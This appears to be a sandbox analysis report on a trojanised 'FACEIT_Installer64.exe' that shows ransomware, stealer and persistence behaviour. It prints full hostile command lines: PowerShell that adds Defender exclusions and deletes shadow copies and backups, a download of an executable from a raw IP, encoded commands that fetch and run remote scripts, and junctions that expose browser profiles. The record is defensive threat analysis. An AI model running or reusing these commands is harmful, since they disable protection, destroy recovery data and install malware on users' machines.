Overview

overview

10

Static

static

3

FACEIT_Ins...64.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    302s
  • max time network
    312s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 02:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    FACEIT_Installer64.exe
  • Size 110.5MB
  • Sample261024-cwr4bshs7p
  • SHA256 edd25a6ba1f0a6057f07ba81f90772ca1db7e51e3b246d476a1bce2a31b64e5d
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionimpactinstallerpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • UAC bypass 3 TTPs 1 IoCs
    defense_evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Deletes system backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Downloads MZ/PE file 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Looks up external IP address via web service 1 TTPs 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 10 IoCs
  • Launches sc.exe 9 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

    Inno Setup installer

    installer
  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 18 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 60 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\FACEIT_Installer64.exe
    "C:\Users\Admin\AppData\Local\Temp\FACEIT_Installer64.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:760
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:3304
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.ps1" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
        3⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4824
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe" x -y -pHelloFriend! "C:\Users\Admin\AppData\Local\Temp\RarSFX0\sfx.rar" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\"
          4⤵
          • Executes dropped EXE
          PID:2904
        • C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
          "C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies security service
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2688
          • C:\Windows\system32\sc.exe
            "C:\Windows\system32\sc.exe" qfailure BerserkGuard
            5⤵
            • Launches sc.exe
            PID:1372
          • C:\Windows\system32\sc.exe
            "C:\Windows\system32\sc.exe" failure BerserkGuard reset= 86400 actions= restart/5000/restart/15000/restart/60000
            5⤵
            • Launches sc.exe
            PID:3724
          • C:\Windows\system32\sc.exe
            "C:\Windows\system32\sc.exe" failureflag BerserkGuard 1
            5⤵
            • Launches sc.exe
            PID:2972
        • C:\Program Files\WindowsOptions\scvhost.exe
          "C:\Program Files\WindowsOptions\scvhost.exe"
          4⤵
          • Modifies WinLogon for persistence
          • UAC bypass
          • Executes dropped EXE
          • Drops file in Program Files directory
          • Modifies registry class
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:6020
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsOptions' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3772
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4300
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c reagentc /disable
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1576
              • C:\Windows\system32\ReAgentc.exe
                reagentc /disable
                7⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                PID:2680
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2856
              • C:\Windows\system32\wbadmin.exe
                wbadmin delete backup -backupTarget:C: -allVersions -quiet
                7⤵
                • Deletes system backups
                • Drops file in Windows directory
                PID:4488
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5392
              • C:\Windows\system32\wbadmin.exe
                wbadmin delete backup -backupTarget:D: -allVersions -quiet
                7⤵
                • Deletes system backups
                • Drops file in Windows directory
                PID:1020
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3044
              • C:\Windows\system32\vssadmin.exe
                vssadmin delete shadows /all /quiet
                7⤵
                • Interacts with shadow copies
                PID:5064
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'http://150.241.94.206/uploads/Faceit/berserk/asd.exe' -OutFile 'C:\Program Files\WindowsOptions\asd.exe'"
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            PID:124
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQA7ACAAaQByAG0AIABoAHQAdABwAHMAOgAvAC8AYgBlAHIAcwBlAHIAawAuAHIAaQBwAC8AbwBuAGMAbwBuAG4AZQBjAHQALgBwAHMAMQAgAHwAIABpAGUAeAA=
            5⤵
            • Command and Scripting Interpreter: PowerShell
            PID:1500
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQA7ACAAaQByAG0AIAAnAGgAdAB0AHAAcwA6AC8ALwBzAGgAZQBsAGIAeQBzAHQAcgBlAGEAbQAuAGMAbwBtAC8AYQBwAGkALwBzAGMAcgBpAHAAdABzAC8AcwB0AGUAYQBtAGkAZAAuAHAAcwAxAD8AdABvAGsAZQBuAD0ANAAxAGMAOABkAGQAYgBhADEANwA4ADAANgBiAGYAZgA5AGQAYQBlAGQANgAwAGMAMQAwADEAZgA1AGIAMwBhACcAIAB8ACAAaQBlAHgA
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            PID:3940
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQA7ACAAaQByAG0AIAAnAGgAdAB0AHAAcwA6AC8ALwBzAGgAZQBsAGIAeQBzAHQAcgBlAGEAbQAuAGMAbwBtAC8AYQBwAGkALwBzAGMAcgBpAHAAdABzAC8AcwB0AGUAYQBtAGkAZAAuAHAAcwAxAD8AdABvAGsAZQBuAD0AMwBlAGQAMwBhADcANgBjADkANwA0ADgAMgBjAGYAZABkAGQANwAzAGMAZQAzADIAMgA1ADgAYwAwADIANAA4ACcAIAB8ACAAaQBlAHgA
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            PID:5648
        • C:\Program Files\WindowsOptions\driver.exe
          "C:\Program Files\WindowsOptions\driver.exe"
          4⤵
          • Downloads MZ/PE file
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4120
          • C:\Windows\system32\cmd.exe
            cmd /c mklink /J C:\Users\Admin\AppData\Local\Service\browser-profile-aliases\edge "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data"
            5⤵
            • Executes a command shell one-liner
            PID:1360
          • C:\Windows\system32\cmd.exe
            cmd /c mklink /J C:\Users\Admin\AppData\Local\Service\browser-profile-aliases\chrome "C:\Users\Admin\AppData\Local\Google\Chrome\User Data"
            5⤵
            • Executes a command shell one-liner
            PID:5164
        • C:\Program Files\WindowsOptions\FACEITInstaller_64.exe
          "C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2596
          • C:\Users\Admin\AppData\Local\Temp\is-1EXFW0C7X2.tmp\FACEITInstaller_64.tmp
            "C:\Users\Admin\AppData\Local\Temp\is-1EXFW0C7X2.tmp\FACEITInstaller_64.tmp" /SL5="$A00AA,78251674,1136640,C:\Program Files\WindowsOptions\FACEITInstaller_64.exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1356
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" delete svc
          4⤵
          • Launches sc.exe
          PID:4520
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" delete driver
          4⤵
          • Launches sc.exe
          PID:5204
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" query driver
          4⤵
          • Launches sc.exe
          PID:3624
  • C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
    "C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" qfailure BerserkGuard
      2⤵
      • Launches sc.exe
      PID:2392
    • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
      "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
      2⤵
      • Executes dropped EXE
      PID:624
    • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
      "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
      2⤵
      • Executes dropped EXE
      PID:1472
  • C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
    "C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:4336
    • C:\Windows\system32\sc.exe
      "C:\Windows\system32\sc.exe" qfailure BerserkGuard
      2⤵
      • Launches sc.exe
      PID:3208
  • C:\Windows\System32\drivers\GameDriverX64.sys
    C:\Windows\System32\drivers\GameDriverX64.sys
    1⤵
    • Executes dropped EXE
    PID:3184
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
    1⤵
      PID:2180
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
        PID:5460
      • C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
        "C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe" --service
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2504
        • C:\Windows\system32\sc.exe
          "C:\Windows\system32\sc.exe" qfailure BerserkGuard
          2⤵
          • Launches sc.exe
          PID:5812
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:312
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:2484
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:3876
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4952
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4112
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:1272
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:2676
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4092
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:1820
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:2236
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:392
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:1816
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:944
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4664
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:804
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4660
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4736
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:2128
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:3760
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:2612
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4628
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:2436
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:2608
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:3020
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:1900
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:3552
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:2236
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:1336
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4868
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:4148
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
          "C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe" x -o+ -y -p"password" "C:\ProgramData\Microsoft DevDiv\payload\sfx.rar" "nvidia_dr64.exe" "nvidia_d64.exe" "taskmgr.dll" "scvhost.exe" "n_config" "C:\Program Files\WindowsOptions\"
          2⤵
          • Executes dropped EXE
          PID:5556
        • C:\ProgramData\Microsoft DevDiv\payload\UnRar.exe
